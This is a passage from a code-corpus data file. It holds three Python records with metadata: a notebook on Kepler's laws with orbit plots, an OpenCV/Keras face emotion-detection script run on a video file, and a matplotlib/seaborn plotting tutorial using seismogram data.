94, "alphanum_fraction": 0.5000579576, "include": true, "reason": "import numpy", "num_tokens": 1947, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.18476751513707854, "lm_q1q2_score": 0.0945486055055713}}
{"text": "from IPython.display import HTML\n\nHTML('''<script>\ncode_show=true; \nfunction code_toggle() {\n if (code_show){\n $('div.input').hide();\n } else {\n $('div.input').show();\n }\n code_show = !code_show\n} \n$( document ).ready(code_toggle);\n</script>\nThe raw code for this IPython notebook is by default hidden for easier reading.\nTo toggle on/off the raw code, click <a href=\"javascript:code_toggle()\">here</a>.''')\n\n<a id=\"top-title\"></a>\n# From Ptolemy to Kepler\n\nPtolemy, Copernicus, Brahe, Kepler\n\n\n\n\n<a id=\"CC-2.1\"></a>\n# Cosmic Calculations 2.1: Kepler\u2019s Third Law\n\nFirst, let's review the three laws discovered by Kepler from the careful measurements of [Tycho Brache](https://physicsworld.com/a/kepler-and-tycho-brahe-the-odd-couple/).  This is one of the most ineteresting stories of scientific collaboration that transformed years of observations into laws about the universe.  I recommend to read/watch [***The Character of Physical Law***](https://www.youtube.com/watch?v=j3mhkYbznBk) by Richard Feynman if you want to indulge in the details.\n\n<p><a href=\"https://commons.wikimedia.org/wiki/File:Tycho-Kepler-Statue-Prague.jpg#/media/File:Tycho-Kepler-Statue-Prague.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/7/73/Tycho-Kepler-Statue-Prague.jpg\" alt=\"Tycho-Kepler-Statue-Prague.jpg\" width=\"360\" height=\"480\"></a><br>By <a href=\"https://en.wikipedia.org/wiki/hu:User:Both_El%C5%91d\" class=\"extiw\" title=\"w:hu:User:Both El\u0151d\">Both El\u0151d</a> at <a href=\"https://en.wikipedia.org/wiki/hu:\" class=\"extiw\" title=\"w:hu:\">Hungarian Wikipedia</a>, <a href=\"https://creativecommons.org/licenses/by-sa/2.5\" title=\"Creative Commons Attribution-Share Alike 2.5\">CC BY-SA 2.5</a>, <a href=\"https://commons.wikimedia.org/w/index.php?curid=47229075\">Link</a></p>\n\n## Kepler's laws:\n\n***1. The orbit of every planet is an ellipse with the Sun at one of the two foci.***\n\nIn the figure below, you can imagine the yellow dot as the sun, and a planet would be moving on the blue curve a certain distance away from it.  The elliptical orbit can be described by the semi-major and semi-minor axes, which define the eccentricity of the orbit.  \n\n\nLook for the *perihelion* and *aphelion* of Earth's orbit. From those values, what's the flattening of Earth's orbit and its eccentricity?\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom ipywidgets import interact, interactive, fixed, interact_manual\nimport ipywidgets as widgets\n\n# Set default font size for plots:\nfont = {'size'   : 18}\nplt.rc('font',**font)\n\ndef elliptic_orbit(a,b,t):\n    '''Plot an elliptical orbit and see the radial distance from one focal point\n    a= semi-major axis\n    b=semi-minor axis\n    t=location at an angle between 0 and 360'''\n    p=np.linspace(0,2*np.pi,360)\n    x = a*np.cos(p)\n    y = b*np.sin(p) \n    plt.figure('Ellipse2',figsize=(10,5))\n    plt.plot(x,y,'-')\n    plt.axis('equal')\n    plt.grid(True)\n    #t is the angle varying from 0 to 360 degrees\n    X = a*np.cos(t*np.pi/180)\n    Y = b*np.sin(t*np.pi/180)\n    #Conditionals in case of changing length of largest semi-major axis\n    if a>=b:\n        c=np.sqrt(a**2-b**2)\n        plt.scatter(c,0,s=200,c='y')\n        plt.scatter(-c, 0, s=200, facecolors='none', edgecolors='y')\n        plt.arrow(c, 0, X-c, Y, head_width=0.1, head_length=0.1, fc='red', ec='red')\n        plt.scatter(X,Y,s=50,c='b')\n        f=(a-b)/a\n        e=c/a\n        #print('Orbital flattening : ',f)\n        print('Orbital eccentricity : ',e)\n        #plt.show()\n    else:\n        c=np.sqrt(b**2-a**2)\n        plt.scatter(0,c,s=200,c='y')\n        plt.scatter(0, -c, s=200, facecolors='none', edgecolors='y')\n        plt.arrow(0, c, X, Y-c, head_width=0.1, head_length=0.1, fc='red', ec='red')\n        plt.scatter(X,Y,s=50,c='b')\n        f=(b-a)/b\n        e=c/b\n        #print('Orbital flattening : ',f)\n        print('Orbital eccentricity : ',e)\n    plt.show()\n    return\n\ninteractive(elliptic_orbit, a = (0,20,1),b=(0,20,1),t=(0,360,20),continuous_update=False)\n        \n\nThe reason the orbits are ellipses, and not circles, would not be understood until the arrival of Newton's equations on Gravitation.  \n\n***2. A line joining a planet and the Sun sweeps out equal areas during equal intervals of time.***\n\n<p><a href=\"https://commons.wikimedia.org/wiki/File:Kepler-second-law.gif#/media/File:Kepler-second-law.gif\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/6/69/Kepler-second-law.gif\" alt=\"Kepler-second-law.gif\"></a><br>By <a href=\"https://en.wikipedia.org/wiki/User:Gonfer\" class=\"extiw\" title=\"en:User:Gonfer\">Gonfer</a> (<a href=\"//commons.wikimedia.org/wiki/User_talk:Gonfer\" title=\"User talk:Gonfer\">talk</a>) - <a href=\"https://en.wikipedia.org/wiki/User:Gonfer\" class=\"extiw\" title=\"en:User:Gonfer\">Gonfer</a>, <a href=\"https://creativecommons.org/licenses/by-sa/3.0\" title=\"Creative Commons Attribution-Share Alike 3.0\">CC BY-SA 3.0</a>, <a href=\"https://commons.wikimedia.org/w/index.php?curid=24871608\">Link</a></p>\n\n\nWhen Kepler discovered his third law ($p^2 = a^3$), he knew only that it applied to the orbits of planets about the Sun. In fact, it applies to any orbiting object as long as the following two conditions are met: \n\n1. The object orbits the Sun or another star of precisely the same mass. \n2. We use units of years for the orbital period and AU for the orbital distance. (Newton extended the law to all orbiting objects; see [Cosmic Calculations 7.1](#CC-7.1).) \n\nIn other words, these two conditions make the relationship a perfect equality.\n\n**Example 1:** The largest asteroid, Ceres, orbits the Sun at an average distance (semimajor axis) of 2.77 AU. What is its orbital period? \n\n***Solution:*** Both conditions are met, so we solve Kepler\u2019s third law for the orbital period $p$ and substitute the given orbital distance, $a = 2.77~AU$.\n\n\n$$p^2 = a^3$$\n\n$$ p = \\sqrt{a^3} = \\sqrt{2.77^3} \\approx 4.6~y$$\n\nCeres has an orbital period of 4.6 years. \n\n**Example 2:** A planet is discovered orbiting every three months around a star of the same mass as our Sun. What is the planet\u2019s average orbital distance? \n\n***Solution:*** The \ufb01rst condition is met, and we can satisfy the second by converting the orbital period from months to years: $p = 3$ months = 0.25 year. We now solve Kepler\u2019s third law for the average distance a: \n\n$a = \\sqrt[3]{p^2}$\n\n$a = \\sqrt[3]{0.25^2} \\approx 0.40~AU$\n\nThe planet orbits its star at an average distance of $0.40~AU$, which is nearly the same as Mercury\u2019s average distance from the Sun.\n\nThese observations offered clear proof that Earth is not the center of everything.* Although we now recognize that Galileo won the day, the story was more complex in his own time, when Catholic Church doctrine still held Earth to be the center of the universe. On June 22, 1633, Galileo was brought before a Church inquisition in Rome and ordered to recant his claim that Earth orbits the Sun. Nearly 70 years old and fearing for his life, Galileo did as ordered and his life was spared. However, legend has it that as he rose from his knees, he whispered under his breath, Eppur si muove\u2014 Italian for \u201cAnd yet it moves.\u201d (Given the likely consequences if Church of\ufb01cials had heard him say this, most historians doubt the legend.) The Church did not formally vindicate Galileo until 1992, but the Church had given up the argument long before that. Today, Catholic scientists are at the forefront of much astronomical research, and of\ufb01cial Church teachings are compatible not only with Earth\u2019s planetary status but also with the theories of the Big Bang and the subsequent evolution of the cosmos and of life.\n\n\n<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\"750\" height=\"400\"><param name=\"movie\" value=\"KeplerFirstLaw.swf\" /><!--[if !IE]>--><object type=\"application/x-shockwave-flash\" data=\"KeplerFirstLaw.swf\" width=\"750\" height=\"400\"><!--<![endif]--><p>flash animation</p><!--[if !IE]>--></object><!--<![endif]--></object>\n\n\n[Go back to the top of the page](#top-title)\n\n", "meta": {"hexsha": "fa0fe4246614c87cb8512347036f4efd90b216af", "size": 7989, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/content/01/3/from_ptolemy_to_kepler.py", "max_stars_repo_name": "edur409/ASTROBIOLOGY200", "max_stars_repo_head_hexsha": "868d02a10b4be5f71935325c43e89b02567e4e26", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/content/01/3/from_ptolemy_to_kepler.py", "max_issues_repo_name": "edur409/ASTROBIOLOGY200", "max_issues_repo_head_hexsha": "868d02a10b4be5f71935325c43e89b02567e4e26", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/content/01/3/from_ptolemy_to_kepler.py", "max_forks_repo_name": "edur409/ASTROBIOLOGY200", "max_forks_repo_head_hexsha": "868d02a10b4be5f71935325c43e89b02567e4e26", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 58.3138686131, "max_line_length": 1108, "alphanum_fraction": 0.7080986356, "include": true, "reason": "import numpy", "num_tokens": 2283, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3849121444839335, "lm_q2_score": 0.24508501313237172, "lm_q1q2_score": 0.09433619798565421}}
{"text": "import cv2\r\nimport numpy as np\r\nfrom keras.models import model_from_json\r\n\r\n\r\nemotion_dict = {0: \"Angry\", 1: \"Disgusted\", 2: \"Fearful\", 3: \"Happy\", 4: \"Neutral\", 5: \"Sad\", 6: \"Surprised\"}\r\n\r\n# load json and create model\r\njson_file = open('model/emotion_model.json', 'r')\r\nloaded_model_json = json_file.read()\r\njson_file.close()\r\nemotion_model = model_from_json(loaded_model_json)\r\n\r\n# load weights into new model\r\nemotion_model.load_weights(\"model/emotion_model.h5\")\r\nprint(\"Loaded model from disk\")\r\n\r\n# start the webcam feed\r\n#cap = cv2.VideoCapture(0)\r\n\r\n# pass here your video path\r\n# you may download one from here : https://www.pexels.com/video/three-girls-laughing-5273028/\r\ncap = cv2.VideoCapture(\"C:\\\\JustDoIt\\\\ML\\\\Sample_videos\\\\emotion_sample6.mp4\")\r\n\r\nwhile True:\r\n    # Find haar cascade to draw bounding box around face\r\n    ret, frame = cap.read()\r\n    frame = cv2.resize(frame, (1280, 720))\r\n    if not ret:\r\n        break\r\n    face_detector = cv2.CascadeClassifier('haarcascades/haarcascade_frontalface_default.xml')\r\n    gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n    # detect faces available on camera\r\n    num_faces = face_detector.detectMultiScale(gray_frame, scaleFactor=1.3, minNeighbors=5)\r\n\r\n    # take each face available on the camera and Preprocess it\r\n    for (x, y, w, h) in num_faces:\r\n        cv2.rectangle(frame, (x, y-50), (x+w, y+h+10), (0, 255, 0), 4)\r\n        roi_gray_frame = gray_frame[y:y + h, x:x + w]\r\n        cropped_img = np.expand_dims(np.expand_dims(cv2.resize(roi_gray_frame, (48, 48)), -1), 0)\r\n\r\n        # predict the emotions\r\n        emotion_prediction = emotion_model.predict(cropped_img)\r\n        maxindex = int(np.argmax(emotion_prediction))\r\n        cv2.putText(frame, emotion_dict[maxindex], (x+5, y-20), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2, cv2.LINE_AA)\r\n\r\n    cv2.imshow('Emotion Detection', frame)\r\n    if cv2.waitKey(1) & 0xFF == ord('q'):\r\n        break\r\n\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n", "meta": {"hexsha": "d31e9cadfada56028d4fb05c4f9d75eb3d21b5ee", "size": 1979, "ext": "py", "lang": "Python", "max_stars_repo_path": "TestEmotionDetector.py", "max_stars_repo_name": "meerbex/Emotion_detection_with_CNN", "max_stars_repo_head_hexsha": "4b4ea4ddd5485bebf58ae7ab5931fbbb566dcd03", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 10, "max_stars_repo_stars_event_min_datetime": "2021-09-02T10:41:28.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-18T02:23:39.000Z", "max_issues_repo_path": "TestEmotionDetector.py", "max_issues_repo_name": "meerbex/Emotion_detection_with_CNN", "max_issues_repo_head_hexsha": "4b4ea4ddd5485bebf58ae7ab5931fbbb566dcd03", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "TestEmotionDetector.py", "max_forks_repo_name": "meerbex/Emotion_detection_with_CNN", "max_forks_repo_head_hexsha": "4b4ea4ddd5485bebf58ae7ab5931fbbb566dcd03", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2021-08-20T04:42:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-23T18:47:59.000Z", "avg_line_length": 36.6481481481, "max_line_length": 122, "alphanum_fraction": 0.6801414856, "include": true, "reason": "import numpy", "num_tokens": 550, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.1847675196261571, "lm_q1q2_score": 0.09382713859960333}}
{"text": "# -*- coding: utf-8 -*-\n# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# <div style='background-image: url(\"../share/images/header.svg\") ; padding: 0px ; background-size: cover ; border-radius: 5px ; height: 250px'>\n#     <div style=\"float: right ; margin: 50px ; padding: 20px ; background: rgba(255 , 255 , 255 , 0.7) ; width: 50% ; height: 150px\">\n#         <div style=\"position: relative ; top: 50% ; transform: translatey(-50%)\">\n#             <div style=\"font-size: xx-large ; font-weight: 900 ; color: rgba(0 , 0 , 0 , 0.8) ; line-height: 100%\">Scientific Visualization with Python</div>\n#             <div style=\"font-size: large ; padding-top: 20px ; color: rgba(0 , 0 , 0 , 0.5)\">A super quick crash course</div>\n#         </div>\n#     </div>\n# </div>\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# Seismo-Live: http://seismo-live.org\n#\n# ##### Authors:\n# * Stephanie Wollherr ([@swollherr](https://github.com/swollherr))\n#\n# ---\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# This notebook introduces some basic plotting examples using matplotlib.\n\n# + {\"deletable\": true, \"editable\": true}\n#we need the following packages, always execute this cell at the beginning\n\n#plots inside the notebook\n# %matplotlib inline\n\n#you can use these libraries by refering to their appreviation plt., np. or pd.\n#basic plotting library\nimport matplotlib.pyplot as plt\n\n#scientifc computing library\nimport numpy as np\n\n#data analysis tool\nimport pandas as pd\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# # Reading in your data\n#\n# To handle data in python we first have to read it in.\n# ### Simple ascii/txt/csv files.\n#\n# #### loadtxt by numpy\n\n# + {\"deletable\": true, \"editable\": true}\n#read in a seismogram\n#4 columns with \n#time North-South East-West Up-Down\ntime, ns, ew, ud = np.loadtxt('data/station_1.dat').T\nprint(time)\nprint(ns)\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# usefull parameters for loadtxt:\n# - comments : The characters or list of characters used to indicate the start of a comment; default: \u2018#\u2019.\n# - skiprows : Skip the first skiprows lines; default: 0.\n# - usecols : Which columns to read, with 0 being the first. For example, usecols = (1,4,5) will extract the 2nd, 5th and 6th columns. The default, None, results in all columns being read.\n\n# + {\"deletable\": true, \"editable\": true}\n#in action: we only need the time series and the North-South component\ntime, ns = np.loadtxt('data/station_1.dat', usecols=(0,1)).T\nprint(time)\nprint(ns)\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# #### read_csv by pandas\n# much faster than loadtxt, in particular for large files\n\n# + {\"deletable\": true, \"editable\": true}\n#read it in without any specifications\ndata_pd = pd.read_csv('data/station_1.dat')\nprint (data_pd)\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# **It reads in everything!**\n#\n# So we have to set a couple of parameters. Possible parameters that we can set:\n# - sep : string; delimiter to use; default \u2018,\u2019 \n# - header : integer or list of integers; row number(s) to use as the column names and the start of the data\n# - names :  List of column names to use. If file contains no header row, then you should explicitly pass header=None; array-like; default None.\n# - usecols : Return a subset of the columns; array-like or callable; default None. \n# - skiprows : Line numbers to skip (0-indexed) or number of lines to skip (int) at the start of the file; list-like or integer or callable; default None. \n#\n# ... and many more: full list available at https://pandas.pydata.org/pandas-docs/stable/generated/pandas.read_csv.html\n#\n# Let's try this again:\n\n# + {\"deletable\": true, \"editable\": true}\n#files uses tab-seperation, so we'll let read_csv know\n#names can be used for header names, header can also be read in but now we're skipping them with comment='#'\ndata_pd = pd.read_csv('data/station_1.dat', sep = '\\t', comment='#', names=['time','NS','EW', 'UD'])\nprint (data_pd)\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# Now we can nicely refer to our data with:\n\n# + {\"deletable\": true, \"editable\": true}\nprint('time')\nprint (data_pd['time'])\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ### Other data formats\n#\n# There are other possibilties to read in your data when it's not in ascii format.\n#\n# For example, we will later use netcdf-based data formats in the second tutorial.\n#\n# More packages for handling data input:\n# - netcdf4 package (Network Common Data Form)\n# - read in hdf with panda (Hierarchical Data Format)\n#\n# **What kind of data format are you using?**\n#\n#\n#\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## Plotting your data - Simple Plots\n#\n# Matplotlib is a widely used plotting library that we will use here for our first simple plots.\n#\n# 1. Single Figures\n# 2. Axis labels, titles\n# 3. Subplots\n# 4. Styles\n# 5. Scatter plots\n# 6. Other types of plots\n# 7. How to save your plots\n#\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## 1. Single figures\n# Call the plotting function together with its package that we called 'plt'.\n#\n# The plot gets visible by inserting plt.show() at the end.\n\n# + {\"deletable\": true, \"editable\": true}\nplt.plot(data_pd['time'], data_pd['NS'])\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## 2. Labels and titles\n# Let's insert more information!\n# - label the axis\n# - insert a legend\n# - give a title\n\n# + {\"deletable\": true, \"editable\": true}\n#default label is the name of the array, but you can also label it with a own name\n\nplt.plot(data_pd['time'], data_pd['NS'])\n#plt.plot(data_pd['time'],data_pd['NS'], label='North-South')\n\nplt.legend()\n\n#axis labels\nplt.xlabel('time [s]')\nplt.ylabel('acceleration cm/s\u00b2')\n\n#title\nplt.title('Station LUC')\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## 3. Subplots\n#\n# We now want to plot all three components of the seismogram in one single plot.\n#\n# Subplots are structured as follows:\n# <img src=\"images/subplots.png\" style=\"width:70%\"></img>\n#\n# We will now introduce three axis in one figure.\n\n# + {\"deletable\": true, \"editable\": true}\n#create a figure f and three subplots\nf, (ax1, ax2, ax3) = plt.subplots(3, 1)\n\nax1.plot(data_pd['time'], data_pd['NS'])\n#for axis properties we use set_*\nax1.set_xlabel('time [s]')\nax1.set_ylabel('acceleration cm/s\u00b2')\nax1.legend()\n\nax2.plot(data_pd['time'], data_pd['EW'])\nax2.set_xlabel('time [s]')\nax2.set_ylabel('acceleration cm/s\u00b2')\nax2.legend()\n\nax3.plot(data_pd['time'], data_pd['UD'])\nax3.set_xlabel('time [s]')\nax3.set_ylabel('acceleration cm/s\u00b2')\nax3.legend()\n\n\n#plot title over all subplots\nf.suptitle('station LUC', size=20)\n\n#needs to be shifted when tight_layout is used\nf.subplots_adjust(top=0.5)\n#makes all axis labels visible\nf.tight_layout()\n\nf.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# Beautify the plot!\n# - plots can share axis, plots can even share boxes\n# - focus on the area of interest\n\n# + {\"deletable\": true, \"editable\": true}\n#share x axis\nf, (ax1, ax2, ax3) = plt.subplots(3, 1, sharex=True, sharey=True)\n\nax1.plot(data_pd['time'], data_pd['NS'])\nax1.set_ylabel('acc. cm/s\u00b2')\nax1.legend()\n\nax2.plot(data_pd['time'], data_pd['EW'])\nax2.set_ylabel('acc. cm/s\u00b2')\nax2.legend()\n\nax3.plot(data_pd['time'], data_pd['UD'])\nax3.set_ylabel('acc. cm/s\u00b2')\nax3.set_xlabel('time')\nax3.legend()\n\n#share the box\nplt.subplots_adjust(hspace=0)\n\n#reduce number of ticks\nplt.locator_params(axis='both', numtick=8)\n\n#focus on the time where the signal is\nplt.xlim((10.0,40.0))\n\n#plot title over all subplots\nf.suptitle('station LUC', size=20)\n\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## 4. Styles\n#\n# You can use different style option to render your plot.\n#\n# Full documentation available here: https://matplotlib.org/devdocs/gallery/style_sheets/style_sheets_reference.html\n\n# + {\"deletable\": true, \"editable\": true}\nprint(plt.style.available)\n\n# + {\"deletable\": true, \"editable\": true}\n# choose a style from above\nplt.style.use('default')\n\n#you can also combine different styles\n#plt.style.use(('fivethirtyeight', 'seaborn-white', 'seaborn-pastel'))\n\nf, (ax1, ax2, ax3) = plt.subplots(3, 1, sharex=True, sharey=True)\n\nax1.plot(data_pd['time'],data_pd['NS'])\nax1.set_ylabel('acc. cm/s\u00b2')\n\nax2.plot(data_pd['time'],data_pd['EW'])\nax2.set_ylabel('acc. cm/s\u00b2')\n\nax3.plot(data_pd['time'],data_pd['UD'], label='data1')\nax3.set_ylabel('acc. cm/s\u00b2')\nax3.set_xlabel('time')\nax3.legend()\n\n\n#reduce number of ticks\nplt.locator_params(axis='both',numtick=8)\n\n#focus on the time where the signal is\nplt.xlim((10.0,40.0))\n\n#plot title over all subplots\nf.suptitle('station LUC', size=20)\n\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# or you can change the **line style and colors**.\n\n# + {\"deletable\": true, \"editable\": true}\n#read in another dataset\ndata2_pd = pd.read_csv('data/station_2.dat', sep = '\\t', comment='#', names=['time','NS','EW', 'UD'])\n\n# + {\"deletable\": true, \"editable\": true}\nf, (ax1, ax2, ax3) = plt.subplots(3,1, sharex=True, sharey=True)\n\nax1.plot(data_pd['time'], data_pd['NS'])\nax1.plot(data2_pd['time'], data2_pd['NS'], ls='-.')\nax1.set_ylabel('acc. cm/s\u00b2')\n\nax2.plot(data_pd['time'], data_pd['EW'])\nax2.plot(data2_pd['time'], data2_pd['EW'], ls='--')\nax2.set_ylabel('acc. cm/s\u00b2')\n\nax3.plot(data_pd['time'], data_pd['UD'], label='station 1')\nax3.plot(data2_pd['time'], data2_pd['UD'], ls=':', label='station 2')\nax3.set_ylabel('acc. cm/s\u00b2')\nax3.set_xlabel('time')\nax3.legend()\n\n\n#reduce number of ticks\nplt.locator_params(axis='both',numtick=8)\n\n#focus on the time where the signal is\nplt.xlim((10.0,40.0))\n\n#plot title over all subplots\nf.suptitle('Landers earthquake', size=20)\n\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## 5. Scatter Plots\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# Using scatter plots we can show discrete data, for example measurements in dependence of two (or even three) dimensions.\n#\n# Full documentation: https://matplotlib.org/devdocs/api/_as_gen/matplotlib.pyplot.scatter.html\n#\n\n# + {\"deletable\": true, \"editable\": true}\n# For this example we first create some random input.\n# You can use your own dataset by reading in your data first\nx = np.random.randn(100)\ny = x + np.random.randn(100) + 10\n\n#-------\n# Insert linear fit\n\n#from scipy import stats\n#slope, intercept, r_value, p_value, std_err = stats.linregress(x,y)\n#line = slope*x+intercept\n#we can add some oppacity with alpha (0 to 1)\n#plt.plot(x, line, alpha=0.5)\n\n#-------\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('Example Scatter Plot')\n\nplt.scatter(x,y)\n\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# Additionally, we can use color and size as a third dimension of information in our scatter plot.\n#\n# Available colorbars: https://matplotlib.org/users/colormaps.html\n\n# + {\"deletable\": true, \"editable\": true}\n#create a third dimension, for example temperature\nz = np.random.randn(100)*70\n\n#plt.scatter(x,y, cmap='viridis', c=z)\n\n#even better to spot the difference: \n#change the size according to the third data dimension\n#colorbar can be restricted by vmin and vmax\nplt.scatter(x, y, cmap='viridis', c=z, s=z, vmin=-40, vmax=140)\n\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('Example Scatter Plot')\n\nplt.colorbar()\n\n#set colorbar axis to customized range\n#plt.set_cmap([0,150])\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ### Additional options on markers and labels\n#\n# You can customize your scatter plot by adding different markers for different datasets and labels.\n#\n# Markerstyles can be found here: https://matplotlib.org/api/markers_api.html\n\n# + {\"deletable\": true, \"editable\": true}\n#create a second data set\nx_2 = np.random.randn(100)\ny_2 = x_2 + np.random.randn(100) + 10\nz_2 = np.random.randn(100)*70\n\n#shades of red with z=color itensity\nplt.scatter(x, y, cmap='Reds', c=z, label='dataset 1')\n\n#shades of blue with z=color intensity\nplt.scatter(x_2, y_2, cmap='Blues', c=z_2, marker ='v', label='dataset 2')\n\n\nplt.xlabel('x')\nplt.ylabel('y')\nplt.legend()\n\nplt.title('Difference day and night')\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ### 3D scatter plots\n#\n# You can also use a  3D figure to plot your three dimensional data set.\n\n# + {\"deletable\": true, \"editable\": true}\n# we need the following package\nfrom mpl_toolkits.mplot3d import Axes3D\n\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\n\n#colored by the z values\nax.scatter(x, y, z, c=z)\n\nax.set_xlabel('X Label')\nax.set_ylabel('Y Label')\nax.set_zlabel('Z Label')\n\nplt.title('3D scatter plot')\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## 6. Other types of plots\n#\n# Some additional graphics and inspiration.\n#\n# ### Bar plots\n#\n#\n\n# + {\"deletable\": true, \"editable\": true}\n#Generates\nn = 12\n#creates a array ranging from 0 to 11\nX = np.arange(n)\n\n#n random number, uniform distribution\nY1 = np.random.uniform(0.5, 1.0, n)\nY2 = np.random.uniform(0.5, 1.0, n)\n\n#set a face and edge color\nplt.bar(X, +Y1, facecolor='#9999ff')\nplt.bar(X, -Y2, facecolor='#ff9999')\n\nfor x,y in zip(X,Y1):\n    #annotations\n    #shift the values slightly above the bars\n    plt.text(x+0.1, y+0.05, '%.2f' % y, ha='center', va= 'bottom')\n\nfor x,y in zip(X,Y2):\n    plt.text(x+0.1, -y-0.05, '%.2f' % y, ha='center', va= 'top')\n\nplt.xlim(-.5, n)\n#remove ticks on x axis\nplt.xticks([])\n\nplt.ylim(-1.25, +1.25)\n#or fully remove the ticks/labels\nplt.yticks([])\n\nplt.title('Histogram example')\n\nplt.show()\n\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ### Seaborn\n#\n# Seaborn is a package dedicated to statistical graphics.\n#\n# More general information: http://seaborn.pydata.org/examples/\n#\n# Jointplots combine scatter plots with distribution plots along the two axis.\n#\n# More information about jointplots: https://seaborn.pydata.org/generated/seaborn.jointplot.html\n\n# + {\"deletable\": true, \"editable\": true}\n#same random data set as before for the scatter plot\n#this time with seaborn\nimport seaborn as sns\n\nx_2 = np.random.randn(100)\ny_2 = x_2 + np.random.randn(100) + 10\n\n#data needs to put into this format\ndata = pd.DataFrame({\"x\": x_2, \"y\": y_2})\n\n#scatter plot with distribution along x and y coordinate\n#first plot: default\nsns.jointplot(x=x_2, y=y_2, data=data)\n\n#but you can also play around with the \"kind\" option\n#second plot: hex + changed color\nsns.jointplot(x=x_2, y=y_2, data=data, kind=\"reg\", space=0, color=\"r\")\n\n#third plot: kde + changed color\nsns.jointplot(x=x_2, y=y_2, data=data, kind=\"kde\", space=0, color=\"g\")\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# Some more inspiration\n\n# + {\"deletable\": true, \"editable\": true}\n#Error bar plots\n\nsns.set(style=\"ticks\")\n\n#Load the example tips dataset\ntips = sns.load_dataset(\"tips\")\n\n#Draw a nested boxplot to show bills by day and sex\nsns.boxplot(x=\"day\", y=\"total_bill\", hue=\"sex\", data=tips, palette=\"PRGn\")\n\n#This setting removes the borders to minimalize the figure\nsns.despine(offset=10, trim=True)\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true}\n# Heatmaps\nsns.set()\n\n# Load the example flights dataset and conver to long-form\nflights_long = sns.load_dataset(\"flights\")\nflights = flights_long.pivot(\"month\", \"year\", \"passengers\")\n\n# Draw a heatmap with the numeric values in each cell\nf, ax = plt.subplots(figsize=(9, 6))\n\n#main command\nsns.heatmap(flights, annot=True, fmt=\"d\", linewidths=.5, ax=ax)\nplt.title('Passengers')\n\nplt.show()\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ## 7. How to save your plots\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# You can easily save your nice figures by using\n#\n# ```python\n# 